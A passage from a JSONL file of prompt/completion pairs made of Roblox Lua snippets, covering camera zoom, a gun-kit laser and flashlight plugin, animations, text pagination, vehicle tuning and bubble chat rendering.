do\n\t\tif Index == \"Tools\" then\n\t\t\tfor _, Tool in pairs(Element) do\n\t\t\t\tif not Player.Backpack:FindFirstChild(Tool) then\n\t\t\t\t\tGiveTool(Player, Tool, Retain)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Zoom related functions", "completion": "\n\nfunction ShoulderCamera:isZoomed()\n\treturn self.zoomState\nend\n\nfunction ShoulderCamera:setHideToolWhileZoomed(hide)\n\tself.hideToolWhileZoomed = hide\nend\n\nfunction ShoulderCamera:setZoomFactor(zoomFactor)\n\tself.currentZoomFactor = zoomFactor\n\tlocal nominalFOVRadians = math.rad(self.fieldOfView)\n\tlocal nominalImageHeight = math.tan(nominalFOVRadians / 2)\n\tlocal zoomedImageHeight = nominalImageHeight / self.currentZoomFactor\n\tself.zoomedFOV = math.deg(math.atan(zoomedImageHeight) * 2)\n\tself:updateZoomState()\nend\n\nfunction ShoulderCamera:resetZoomFactor()\n\tself:setZoomFactor(self.defaultZoomFactor)\nend\n\nfunction ShoulderCamera:setForceZoomed(zoomed)\n\tif self.forcedZoomed == zoomed then return end\n\tself.forcedZoomed = zoomed\n\tself:updateZoomState()\nend\n\nfunction ShoulderCamera:setZoomedFromInput(zoomedFromInput)\n\tif self.zoomedFromInput == zoomedFromInput or (self.currentHumanoid and self.currentHumanoid:GetState() == Enum.HumanoidStateType.Dead) then\n\t\treturn\n\tend\n\t\n\tself.zoomedFromInput = zoomedFromInput\n\tself:updateZoomState()\nend\n\nfunction ShoulderCamera:updateZoomState()\n\tlocal isZoomed = self.forcedZoomed\n\tif self.canZoom and not self.forcedZoomed then\n\t\tisZoomed = self.zoomedFromInput\n\tend\n\n\tif not self.enabled or not self.currentTool then\n\t\tisZoomed = false\n\tend\n\n\tself.zoomState = isZoomed\n\n\tself.currentMouseRadsPerPixel = isZoomed and self.zoomedMouseRadsPerPixel or self.mouseRadsPerPixel\n\tself.currentTouchSensitivity = isZoomed and self.zoomedTouchSensitivity or self.touchSensitivity\n\n\tif self.currentCamera then\n\t\tself.desiredFieldOfView = self:getCurrentFieldOfView()\n\tend\nend\n\nfunction ShoulderCamera:onZoomAction(actionName, inputState, inputObj)\n\tif not self.enabled or not self.canZoom or not self.currentCamera or not self.currentCharacter then\n\t\tself:setZoomedFromInput(false)\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\t\n\tself:setZoomedFromInput(inputState == Enum.UserInputState.Begin)\n\treturn Enum.ContextActionResult.Sink\nend\n\n"} +{"prompt": "-- Wait for torso (assume everything else will load at the same time)", "completion": "\nwaitFor( getCharacter(), \"UpperTorso\" );\n"} +{"prompt": "--[[**\n\tensures Roblox UDim2 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.UDim2 = primitive(\"UDim2\")\n"} +{"prompt": "--[[\n\n\tPlugins for this gun kit are basically functions that will run at specific times, i.e. When a key is pressed, when the gun is\n\tfired, when the gun is aimed, etc.\n\t\n\tHOW TO USE IT:\n\t\n\t\tKEYDOWN PLUGIN:\n\t\t\n\t\t\tLet's say you wanted to toggle a laser whenever you press the \"v\" key:\n\t\t\t\n\t\t\tYou would create a table like the example below\n\t\t\tThe first element would be \"Key = INSERT_KEY_HERE\"\n\t\t\tThe second element would be \"Description = INSERT_DESCRIPTION_HERE\"\n\t\t\tThe third element would be \"Plugin = INSERT_FUNCTION_HERE\"\n\t\t\t\n\t\t\tSo whenever you press the \"v\" key, the plugin function will run\n\t\t\t\n\t\t\tPretty useful if you want to add extra code to the script without actually having to modify the script\n\t\t\n\t\t\tNOTE: Only the keydown plugin requires this table. Every other plugin just needs a function\n\t\t\t\n\t\tEVERY OTHER PLUGIN:\n\t\t\n\t\t\tLet's say you wanted to make a shell eject whenever the gun was fired:\n\t\t\t\n\t\t\tYou would add function called \"Plugin = INSERT_FUNCTION_HERE\"\n\t\t\t\n\t\t\tThat's it; If you want other stuff to happen when the gun is fired, you would either put it all into 1 function, or\n\t\t\tyou would add more Plugins to the \"Firing\" table. Like so:\n\t\t\t\n\t\t\tFiring = {\n\t\t\t\tPlugin = function()\n\t\t\t\t\t--Code\n\t\t\t\tend;\n\t\t\t\tPlugin = function()\n\t\t\t\t\t--Code\n\t\t\t\tend;\n\t\t\t\tPlugin = function()\n\t\t\t\t\t--Code\n\t\t\t\tend;\n\t\t\t};\n\t\n\tThat's really it, you just need to know some basic scripting to use it. If you have more questions, pm me.\n\t\n\tNOTE: The plugins run seperate from the code in the Gun_Main. For example, if you have a plugin that ejects a shell 1 second\n\tafter the gun is fired, the gun's firing speed won't be affected in any way.\n\t\n--]]", "completion": "\n\nlocal Gun = script.Parent\n\nlocal Plugins = {\n\t\n\tKeyDown = {\n\t\t{ --This is a plugin for a toggleable laser\n\t\t\tKey = \"v\"; --This is the key you press to activate the plugin\n\t\t\tDescription = \"Toggle Laser\"; --This is what the description of the key will be in the controls\n\t\t\tPlugin = function() --This is the actual plugin function\n\t\t\t\tlocal Laser = Gun:WaitForChild(\"Laser\") --These few lines wait for the necessary bricks/models\n\t\t\t\tlocal Handle = Gun:WaitForChild(\"Handle\")\n\t\t\t\tlocal ignoreCode = Gun.clientMain:WaitForChild(\"ignoreCode\")\n\t\t\t\tlocal ignoreModel = game.Workspace:WaitForChild(\"ignoreModel_\"..ignoreCode.Value)\n\t\t\t\t\n\t\t\t\tlocal PlyrName = game.Players:GetPlayerFromCharacter(Gun.Parent).Name\n\t\t\t\tlocal playerFolder = ignoreModel:WaitForChild(\"gunIgnore_\"..PlyrName)\n\t\t\t\t\n\t\t\t\tlocal RS = game:GetService(\"RunService\")\n\t\t\t\t\n\t\t\t\tlocal function createLaserDot() --This function creates the red laser dot\n\t\t\t\t\tlocal laserDot = Instance.new(\"Part\")\n\t\t\t\t\tlaserDot.Transparency = 1\n\t\t\t\t\tlaserDot.Name = \"laserDot\"\n\t\t\t\t\tlaserDot.Anchored = true\n\t\t\t\t\tlaserDot.CanCollide = false\n\t\t\t\t\tlaserDot.FormFactor = Enum.FormFactor.Custom\n\t\t\t\t\tlaserDot.Size = Vector3.new(0.25, 0.25, 1)\n\t\t\t\t\t\n\t\t\t\t\tlocal laserGui = Instance.new(\"SurfaceGui\")\n\t\t\t\t\tlaserGui.CanvasSize = Vector2.new(100, 100)\n\t\t\t\t\tlaserGui.Parent = laserDot\n\t\t\t\t\t\n\t\t\t\t\tlocal laserImage = Instance.new(\"ImageLabel\")\n\t\t\t\t\tlaserImage.BackgroundTransparency = 1\n\t\t\t\t\tlaserImage.Size = UDim2.new(1, 0, 1, 0)\n\t\t\t\t\tlaserImage.Image = \"http://www.roblox.com/asset/?id=131394739\"\n\t\t\t\t\tlaserImage.Parent = laserGui\n\t\t\t\t\t\n\t\t\t\t\t--[[local laserLight = Instance.new(\"SurfaceLight\")\n\t\t\t\t\tlaserLight.Angle = 180\n\t\t\t\t\tlaserLight.Brightness = math.huge\n\t\t\t\t\tlaserLight.Color = Color3.new(1, 0, 0)\n\t\t\t\t\tlaserLight.Face = Enum.NormalId.Back\n\t\t\t\t\tlaserLight.Range = 5\n\t\t\t\t\tlaserLight.Shadows = true\n\t\t\t\t\tlaserLight.Parent = laserDot]]\n\t\t\t\t\t\n\t\t\t\t\treturn laserDot\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal function getHitSurfaceCFrame(Pos, Obj) --This function returns the proper cframe based on the face that the position is on\n\t\t\t\t\tlocal surfaceCF = {\n\t\t\t\t\t\t{\"Back\", Obj.CFrame * CFrame.new(0, 0, Obj.Size.z)};\n\t\t\t\t\t\t{\"Bottom\", Obj.CFrame * CFrame.new(0, -Obj.Size.y, 0)};\n\t\t\t\t\t\t{\"Front\", Obj.CFrame * CFrame.new(0, 0, -Obj.Size.z)};\n\t\t\t\t\t\t{\"Left\", Obj.CFrame * CFrame.new(-Obj.Size.x, 0, 0)};\n\t\t\t\t\t\t{\"Right\", Obj.CFrame * CFrame.new(Obj.Size.x, 0, 0)};\n\t\t\t\t\t\t{\"Top\", Obj.CFrame * CFrame.new(0, Obj.Size.y, 0)}\n\t\t\t\t\t}\n\t\t\t\t\tlocal closestDist = math.huge\n\t\t\t\t\tlocal closestSurface = nil\n\t\t\t\t\tfor _,v in pairs(surfaceCF) do\n\t\t\t\t\t\tlocal surfaceDist = (Pos - v[2].p).magnitude\n\t\t\t\t\t\tif surfaceDist < closestDist then\n\t\t\t\t\t\t\tclosestDist = surfaceDist\n\t\t\t\t\t\t\tclosestSurface = v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal surfaceDir = CFrame.new(Obj.CFrame.p, closestSurface[2].p)\n\t\t\t\t\tlocal surfaceDist = surfaceDir.lookVector * ((Obj.CFrame.p - closestSurface[2].p).magnitude / 2 - 0.25)\n\t\t\t\t\tlocal surfaceOffset = Pos - closestSurface[2].p + surfaceDist\n\t\t\t\t\tlocal surfaceCFrame = surfaceDir + surfaceDist + surfaceOffset\n\t\t\t\t\t\n\t\t\t\t\treturn surfaceCFrame\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal laserDot = createLaserDot() --The code is cleaner when the laser creating code is in a function\n\t\t\t\t\n\t\t\t\tLaser.Transparency = (Laser.Transparency == 1 and 0 or 1) --Toggles the laser on or off\n\t\t\t\t\n\t\t\t\twhile math.floor(Laser.Transparency) == 0 do --This loop will keep running as long as the laser is visible\n\t\t\t\t\tif (not game.Players:GetPlayerFromCharacter(Gun.Parent)) then break end --This checks if the gun is a child of the character\n\t\t\t\t\t\n\t\t\t\t\tlocal newRay = Ray.new(Laser.Position, Handle.CFrame.lookVector * 999)\n\t\t\t\t\tlocal H, P = game.Workspace:FindPartOnRay(newRay, ignoreModel)\n\t\t\t\t\t\n\t\t\t\t\tlocal Distance = (P - Laser.Position).magnitude\n\t\t\t\t\tLaser.Mesh.Offset = Vector3.new(0, Distance / 2, 0)\n\t\t\t\t\tLaser.Mesh.Scale = Vector3.new(0.075, Distance / 0.2, 0.075)\n\t\t\t\t\t\n\t\t\t\t\tif H then\n\t\t\t\t\t\tlaserDot.CFrame = getHitSurfaceCFrame(P, H) --If the laser hits a part then position the dot on the part\n\t\t\t\t\t\tlaserDot.Parent = playerFolder\n\t\t\t\t\telse\n\t\t\t\t\t\tlaserDot.Parent = nil --If the laser doesn't hit a part then temporarily remove the laser dor\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tRS.RenderStepped:wait()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlaserDot:Destroy() --These lines reset the laser if the laser is transparent or the gun was deselected\n\t\t\t\tLaser.Transparency = 1\n\t\t\t\tLaser.Mesh.Offset = Vector3.new()\n\t\t\t\tLaser.Mesh.Scale = Vector3.new(0.075, 0, 0.075)\n\t\t\tend;\n\t\t};\n\t\t\n\t\t{ --This is a plugin for a toggleable flashlight\n\t\t\tKey = \"z\";\n\t\t\tDescription = \"Toggle Flashlight\";\n\t\t\tPlugin = function()\n\t\t\t\tlocal Flashlight = Gun:WaitForChild(\"Flashlight\")\n\t\t\t\tif Flashlight then\n\t\t\t\t\tfor _, Light in pairs(Flashlight:GetChildren()) do\n\t\t\t\t\t\tif Light.Name == \"Light\" then\n\t\t\t\t\t\t\tLight.Enabled = (not Light.Enabled)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t};\n\t};\n\t\n\tKeyUp = {\n\t\t\n\t};\n\t\n\tFiring = {\n\t\tPlugin = function()\n\t\t\t--Put code here\n\t\tend;\n\t};\n\t\n\tAimed = {\n\t\tPlugin = function()\n\t\t\t--Put code here\n\t\tend;\n\t};\n\t\n\tUnAimed = {\n\t\tPlugin = function()\n\t\t\t--Put code here\n\t\tend;\n\t};\n\t\n\tOnEquipped = {\n\t\tPlugin = function()\n\t\t\t--Put code here\n\t\tend\n\t};\n\t\n\tOnUnEquipped = {\n\t\tPlugin = function()\n\t\t\t--Put code here\n\t\tend\n\t};\n\t\n}\n\nreturn Plugins\n"} +{"prompt": "-- Looks for a folder within workspace.Terrain that contains elements to visualize casts.", "completion": "\nlocal function GetFastCastVisualizationContainer(): Instance\n\tlocal fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME)\n\tif fcVisualizationObjects ~= nil then\n\t\treturn fcVisualizationObjects\n\tend\n\t\n\tfcVisualizationObjects = Instance.new(\"Folder\")\n\tfcVisualizationObjects.Name = FC_VIS_OBJ_NAME\n\tfcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there.\n\tfcVisualizationObjects.Parent = workspace.Terrain\n\treturn fcVisualizationObjects\nend\n"} +{"prompt": "--- ExpNeed", "completion": "\n ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n ExpNeed.Changed:connect(function()\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n end)"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nlocal toolAnimName = \"\"\nlocal toolAnimTrack = nil\nlocal toolAnimInstance = nil\nlocal currentToolAnimKeyframeHandler = nil\n\nfunction toolKeyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid, priority)\t \t\t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\tif (toolAnimInstance ~= anim) then\n\n\t\tif (toolAnimTrack ~= nil) then\n\t\t\ttoolAnimTrack:Stop()\n\t\t\ttoolAnimTrack:Destroy()\n\t\t\ttransitionTime = 0\n\t\tend\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\tif priority then\n\t\t\ttoolAnimTrack.Priority = priority\n\t\tend\n\n\t\t-- play the animation\n\t\ttoolAnimTrack:Play(transitionTime)\n\t\ttoolAnimName = animName\n\t\ttoolAnimInstance = anim\n\n\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\ttoolAnimInstance = nil\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\treturn oldAnim\nend\n"} +{"prompt": "--!strict", "completion": "\n\nreturn function(TextService)\n\t--[[\n\t\tTakes a string and converts it into pages of text that fit within the given constraints\n\n\t\tParameters:\n\t\ttext: The text to paginate\n\t\tcontainerHeight: The height of the container the text should fit into\n\t\tcontainerWidth: The width of the container the text should fit into\n\t\ttextSize: The size of the text\n\t\tfont: The font used to display the text\n\n\t\tReturns:\n\t\tAn array of strings representing the pages of text\n\t]]\n\tlocal function paginate(\n\t\ttext: string,\n\t\tcontainerHeight: number,\n\t\tcontainerWidth: number,\n\t\ttextSize: number,\n\t\tfont: Enum.Font\n\t): { string }\n\t\tlocal paginatedText = {}\n\n\t\tlocal textBounds = Vector2.new(containerWidth, math.huge)\n\n\t\t-- Add to the string until it is too large, then paginate and start again\n\t\tlocal workingString = \"\"\n\t\tlocal word = \"\"\n\n\t\tif text:find(\" \") then\n\t\t\t-- Iterate over words\n\t\t\tfor first, last in utf8.graphemes(text) do\n\t\t\t\tlocal grapheme = text:sub(first, last)\n\n\t\t\t\tif grapheme:match(\"%s\") then\n\t\t\t\t\t-- See if this word pushes the text size over the limit\n\t\t\t\t\tlocal newString = workingString .. word\n\t\t\t\t\tlocal bounds = TextService:GetTextSize(newString, textSize, font, textBounds)\n\n\t\t\t\t\tif bounds.Y > containerHeight then\n\t\t\t\t\t\t-- If the word made workingString go over the limit,\n\t\t\t\t\t\t-- add the workingString without the word\n\t\t\t\t\t\ttable.insert(paginatedText, workingString)\n\n\t\t\t\t\t\t-- Set the new working string to the word\n\t\t\t\t\t\tworkingString = word\n\t\t\t\t\telse\n\t\t\t\t\t\t-- Otherwise add the word to the workingString\n\t\t\t\t\t\tworkingString = newString\n\t\t\t\t\tend\n\n\t\t\t\t\tword = grapheme\n\t\t\t\telse\n\t\t\t\t\tword = word .. grapheme\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t-- Add the remaining words to the paginated list\n\t\t\tlocal newString = workingString .. word\n\t\t\tlocal bounds = TextService:GetTextSize(newString, textSize, font, textBounds)\n\t\t\tif bounds.Y > containerHeight then\n\t\t\t\ttable.insert(paginatedText, workingString)\n\t\t\t\ttable.insert(paginatedText, word)\n\t\t\telse\n\t\t\t\ttable.insert(paginatedText, newString)\n\t\t\tend\n\t\telse\n\t\t\t-- Iterate over graphemes\n\t\t\tfor first, last in utf8.graphemes(text) do\n\t\t\t\tlocal grapheme = text:sub(first, last)\n\n\t\t\t\tlocal newString = workingString .. grapheme\n\t\t\t\tlocal bounds = TextService:GetTextSize(newString, textSize, font, textBounds)\n\t\t\t\tif bounds.Y > containerHeight then\n\t\t\t\t\ttable.insert(paginatedText, workingString)\n\t\t\t\t\tworkingString = grapheme\n\t\t\t\telse\n\t\t\t\t\tworkingString = newString\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ttable.insert(paginatedText, workingString)\n\t\tend\n\n\t\treturn paginatedText\n\tend\n\n\treturn paginate\nend\n"} +{"prompt": "--function ClassZombie:SetWaypoints(Goal)\n--\tlocal g = 1\n--\tlocal arr = ClassZombie:FindWay(Goal)\n--\tfor k, v in pairs(arr) do\n--\t\twait(1)\n--\t\tlocal part = game.ReplicatedStorage.WayPoint:Clone()\n--\t\tpart.Position = Vector3.new(math.floor(v.Position.X),6,math.floor(v.Position.Z))\n--\t\tpart.Parent = script.Parent.WayPoints\n--\t\tpart.Name = g\n--\t\tg = g + 1\n--\tend\n--\treturn script.Parent.WayPoints:GetChildren()\n--end", "completion": "\n\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2871\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t15\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2.17\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- init chat bubble tables", "completion": "\nlocal function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)\n\tthis.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)\n\tthis.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)\n\tthis.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)\nend\n\ninitChatBubbleType(BubbleColor.WHITE,\t\"ui/dialog_white\",\t\"ui/chatBubble_white_notify_bkg\", \tfalse,\tRect.new(5,5,15,15))\ninitChatBubbleType(BubbleColor.BLUE,\t\"ui/dialog_blue\",\t\"ui/chatBubble_blue_notify_bkg\",\ttrue, \tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.RED,\t\t\"ui/dialog_red\",\t\"ui/chatBubble_red_notify_bkg\",\t\ttrue,\tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.GREEN,\t\"ui/dialog_green\",\t\"ui/chatBubble_green_notify_bkg\",\ttrue,\tRect.new(7,7,33,33))\n\nfunction this:SanitizeChatLine(msg)\n\tif getMessageLength(msg) > MaxChatMessageLengthExclusive then\n\t\tlocal byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1\n\t\treturn string.sub(msg, 1, byteOffset)\n\telse\n\t\treturn msg\n\tend\nend\n\nlocal function createBillboardInstance(adornee)\n\tlocal billboardGui = Instance.new(\"BillboardGui\")\n\tbillboardGui.Adornee = adornee\n\tbillboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, 1.5, 2)\n\tbillboardGui.Parent = BubbleChatScreenGui\n\n\tlocal billboardFrame = Instance.new(\"Frame\")\n\tbillboardFrame.Name = \"BillboardFrame\"\n\tbillboardFrame.Size = UDim2.new(1, 0, 1, 0)\n\tbillboardFrame.Position = UDim2.new(0, 0, -0.5, 0)\n\tbillboardFrame.BackgroundTransparency = 1\n\tbillboardFrame.Parent = billboardGui\n\n\tlocal billboardChildRemovedCon = nil\n\tbillboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()\n\t\tif #billboardFrame:GetChildren() <= 1 then\n\t\t\tbillboardChildRemovedCon:disconnect()\n\t\t\tbillboardGui:Destroy()\n\t\tend\n\tend)\n\n\tthis:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame\n\n\treturn billboardGui\nend\n\nfunction this:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tif instance and not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tif not onlyCharacter then\n\t\t\tif instance:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(instance)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tif instance:IsA(\"Model\") then\n\t\t\tlocal head = instance:FindFirstChild(\"Head\")\n\t\t\tif head and head:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(head)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function distanceToBubbleOrigin(origin)\n\tif not origin then return 100000 end\n\n\treturn (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.Position).magnitude\nend\n\nlocal function isPartOfLocalPlayer(adornee)\n\tif adornee and PlayersService.LocalPlayer.Character then\n\t\treturn adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)\n\tend\nend\n\nfunction this:SetBillboardLODNear(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = true\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = false\nend\n\nfunction this:SetBillboardLODDistant(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(4, 0, 3, 0)\n\tbillboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = false\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = true\nend\n\nfunction this:SetBillboardLODVeryFar(billboardGui)\n\tbillboardGui.Enabled = false\nend\n\nfunction this:SetBillboardGuiLOD(billboardGui, origin)\n\tif not origin then return end\n\n\tif origin:IsA(\"Model\") then\n\t\tlocal head = origin:FindFirstChild(\"Head\")\n\t\tif not head then origin = origin.PrimaryPart\n\t\telse origin = head end\n\tend\n\n\tlocal bubbleDistance = distanceToBubbleOrigin(origin)\n\n\tif bubbleDistance < NEAR_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODNear(billboardGui)\n\telseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODDistant(billboardGui)\n\telse\n\t\tthis:SetBillboardLODVeryFar(billboardGui)\n\tend\nend\n\nfunction this:CameraCFrameChanged()\n\tfor index, value in pairs(this.CharacterSortedMsg:GetData()) do\n\t\tlocal playerBillboardGui = value[\"BillboardGui\"]\n\t\tif playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end\n\tend\nend\n\nfunction this:CreateBubbleText(message, shouldAutoLocalize)\n\tlocal bubbleText = Instance.new(\"TextLabel\")\n\tbubbleText.Name = \"BubbleText\"\n\tbubbleText.BackgroundTransparency = 1\n\n\tif UserFixBubbleChatText then\n\t\tbubbleText.Size = UDim2.fromScale(1, 1)\n\telse\n\t\tbubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0)\n\t\tbubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0)\n\tend\n\n\tbubbleText.Font = CHAT_BUBBLE_FONT\n\tbubbleText.ClipsDescendants = true\n\tbubbleText.TextWrapped = true\n\tbubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE\n\tbubbleText.Text = message\n\tbubbleText.Visible = false\n\tbubbleText.AutoLocalize = shouldAutoLocalize\n\n\tif UserFixBubbleChatText then\n\t\tlocal padding = Instance.new(\"UIPadding\")\n\t\tpadding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.Parent = bubbleText\n\tend\n\n\treturn bubbleText\nend\n\nfunction this:CreateSmallTalkBubble(chatBubbleType)\n\tlocal smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()\n\tsmallTalkBubble.Name = \"SmallTalkBubble\"\n\tsmallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)\n\tsmallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0)\n\tsmallTalkBubble.Visible = false\n\tlocal text = this:CreateBubbleText(\"...\")\n\ttext.TextScaled = true\n\ttext.TextWrapped = false\n\ttext.Visible = true\n\ttext.Parent = smallTalkBubble\n\n\treturn smallTalkBubble\nend\n\nfunction this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)\n\tlocal bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo\n\tlocal bubbleQueueSize = bubbleQueue:Size()\n\tlocal bubbleQueueData = bubbleQueue:GetData()\n\tif #bubbleQueueData <= 1 then return end\n\n\tfor index = (#bubbleQueueData - 1), 1, -1 do\n\t\tlocal value = bubbleQueueData[index]\n\t\tlocal bubble = value.RenderBubble\n\t\tif not bubble then return end\n\t\tlocal bubblePos = bubbleQueueSize - index + 1\n\n\t\tif bubblePos > 1 then\n\t\t\tlocal tail = bubble:FindFirstChild(\"ChatBubbleTail\")\n\t\t\tif tail then tail:Destroy() end\n\t\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\t\tif bubbleText then bubbleText.TextTransparency = 0.5 end\n\t\tend\n\n\t\tlocal udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,\n\t\t\t\t\t\t\t\t\t1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT)\n\t\tbubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)\n\t\tcurrentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT\n\tend\nend\n\nfunction this:DestroyBubble(bubbleQueue, bubbleToDestroy)\n\tif not bubbleQueue then return end\n\tif bubbleQueue:Empty() then return end\n\n\tlocal bubble = bubbleQueue:Front().RenderBubble\n\tif not bubble then\n\t\tbubbleQueue:PopFront()\n\t \treturn\n\tend\n\n\tspawn(function()\n\t\twhile bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do\n\t\t\twait()\n\t\tend\n\n\t\tbubble = bubbleQueue:Front().RenderBubble\n\n\t\tlocal timeBetween = 0\n\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\tlocal bubbleTail = 